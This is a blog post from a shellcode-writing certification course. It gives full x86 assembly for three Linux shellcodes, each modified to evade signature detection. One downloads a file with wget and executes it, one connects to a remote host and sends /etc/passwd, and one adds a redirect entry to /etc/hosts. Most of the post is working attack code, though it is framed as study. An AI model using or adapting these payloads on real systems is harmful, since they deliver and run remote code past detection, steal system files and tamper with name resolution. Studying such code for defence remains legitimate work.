SLAE #6: Polymorphic Shellcode for Linux/x86

Introduction

This blog series has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-877

To get the code provided in this exercise:

% git clone https://github.com/droberson/SLAE.git

The code will be within the Assignment-6 directory.

What is Polymorphic Shellcode?

Quoting the Wikipedia article about Polymorphic Code directly:

In computer terminology, polymorphic code is code that uses a polymorphic engine to mutate while keeping the original algorithm intact. That is, the code changes itself each time it runs, but the function of the code (its semantics) will not change at all.

For this assignment, we aren’t going to actually implement a polymorphic engine, but simply alter three existing shellcodes, creating alternate versions of them that are functionally equivalent, but will not pass a pattern match for the original.

There are several ways to accomplish this:

  • Changing the order of instructions.
  • Inserting NOP instructions between valid instructions.
  • Utilize different registers if possible.
  • Encode/decode the shellcode.
  • Use one of the 19025091295 oddball instructions in the x86 instruction set that no one uses.
  • Change the logic within loops.
  • Plenty more, just put dive into assembly language and the answers will present themselves with study.

#1 – wget x, chmod +x x, execute x

The original shellcode that I used for this is located at http://shell-storm.org/shellcode/files/shellcode-862.php

This was written by Daniel Sauder and is originally 108 bytes. I was able to do some basic modifications and make this appear completely different, only adding 4 bytes to the original size.

I used vbindiff to show the differences. Only one byte matched, and much of the shellcode is different:

urxvt_008

Here is the modified code:

BITS 32

global _start

section .text

_start:

    ;fork
    sub eax, eax
    add eax, 2
    int 0x80
    sub ebx,ebx
    cmp eax,ebx
    jz child
  
    ;wait(NULL)
    sub eax,eax
    add al, 7
    int 0x80
        
    ;chmod x
    sub ecx, ecx
    sub eax, eax
    push eax
    mov al, 0xf
    push 0x78
    mov ebx, esp
    sub ecx, ecx
    mov cx, 0x1ff
    int 0x80
    
    ;exec x
    sub eax, eax
    push eax
    push 0x78
    mov ebx, esp
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp
    ;mov al, 11
    add eax, 11
    int 0x80
    
child:
    push 0xb
    pop eax
    cdq
    push edx

    jmp url

one:
    pop esi
    mov ecx, esi

    push 0x74 ;t
    push 0x6567772f ;egw/
    push 0x6e69622f ;nib/
    push 0x7273752f ;rsu/
    mov ebx,esp
    push edx
    push ecx
    push ebx
    mov ecx,esp
    int 0x80

url:
    call one
    db "192.168.10.10/x" ;; change ip only. /x is necessary

#2 – Reverse shell that sends /etc/passwd

Again, I used one of Daniel Sauder’s shellcodes. This one connects back to a host and sends the contents of /etc/passwd. The original code is located here:http://shell-storm.org/shellcode/files/shellcode-861.php

This code is originally 111 bytes long, I added two bytes and made it mostly different:

; Author: Daniel Sauder
; Website: http://govolution.wordpress.com/about
; License http://creativecommons.org/licenses/by-sa/3.0/

; Shellcode reads /etc/passwd and sends the content to 127.1.1.1 port 12345. 
; The file can be recieved using netcat:
; $ nc -l 127.1.1.1 12345

BITS 32
section .text

global _start

_start:
    ; socket
    xor eax, eax
    add eax, 102
    sub ebx, ebx 
    mov edx, ebx
    inc ebx 
    push edx 
    push BYTE 0x1
    push BYTE 0x2
    mov ecx, esp
    int 0x80
    ;mov esi, eax
    xchg eax, esi

    ; connect
    push BYTE 0x66 
    pop eax
    inc ebx
    push DWORD 0x1111117f  ;127.17.17.17
    push WORD 0x3930  ; Port 12345
    push WORD bx
    mov ecx, esp
    push BYTE 16
    push ecx
    push esi
    mov ecx, esp
    inc ebx
    int 0x80

    ; dup2
    ;mov esi, eax
    xchg eax, esi
    xor ecx, ecx
    inc ecx
    sub eax, eax
    add eax, 0x3f
    ;mov eax, 0x3F
    int 0x80
    
    ;read the file
    jmp short call_shellcode
    
shellcode:
    push 0x5
    pop eax
    pop ebx
    sub ecx,ecx
    int 0x80
    mov ebx,eax
    mov al,0x3
    mov edi,esp
    mov ecx,edi
    xor edx,edx
    mov dh,0xff
    mov dl,0xff
    int 0x80
    mov edx,eax
    push 0x4
    pop eax
    mov bl, 0x1
    int 0x80
    push 0x1
    pop eax
    ;inc ebx
    int 0x80
    
call_shellcode:
    call shellcode
    message db "/etc/passwd"

Here’s a visual representation of how different they are using vbindiff again:

rxvt-unicode -3-‎_078

#3 – Add an Entry to /etc/hosts

This shellcode adds an entry to /etc/hosts and was originally written by Javier Tejedor. It is 77 bytes long and the original source can be found here: http://shell-storm.org/shellcode/files/shellcode-893.php

I modified this and ended up with an 81 byte shellcode. This is an extra 4 bytes:


BITS 32

global _start

section .text

_start:
    sub eax, eax
    sub ecx, ecx    
    push eax
    ;push 0x7374736f     ;/etc///hosts
    ;push 0x682f2f2f
    ;push 0x6374652f
    push 0x7374736f      ;//etc//hosts
    push 0x682f2f63
    push 0x74652f2f
    mov ebx, esp
    ;mov cx, 0x401       ;permmisions
    add cx, 0x401
    add eax, 5
    int 0x80        ;syscall to open file

    xchg eax, ebx
    push 0x4
    pop eax
    jmp short _load_data    ;jmp-call-pop technique to load the map

_write:
    pop ecx
    push 20         ;length of the string, dont forget to modify if changes the map
    pop edx
    int 0x80        ;syscall to write in the file

    ;push 0x6
    ;pop eax
    sub eax, eax
    add eax, 6
    int 0x80        ;syscall to close the file

    ;push 0x1
    ;pop eax
    xor eax, eax
    inc eax
    int 0x80        ;syscall to exit

_load_data:
    call _write
    google db "127.1.1.1 google.com"

Finally, I compare the two shellcodes with vbindiff:

rxvt-unicode -5-‎_079

Next assignment: Shellcode Crypter

Click here to continue to the next section

One thought on “SLAE #6: Polymorphic Shellcode for Linux/x86”

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s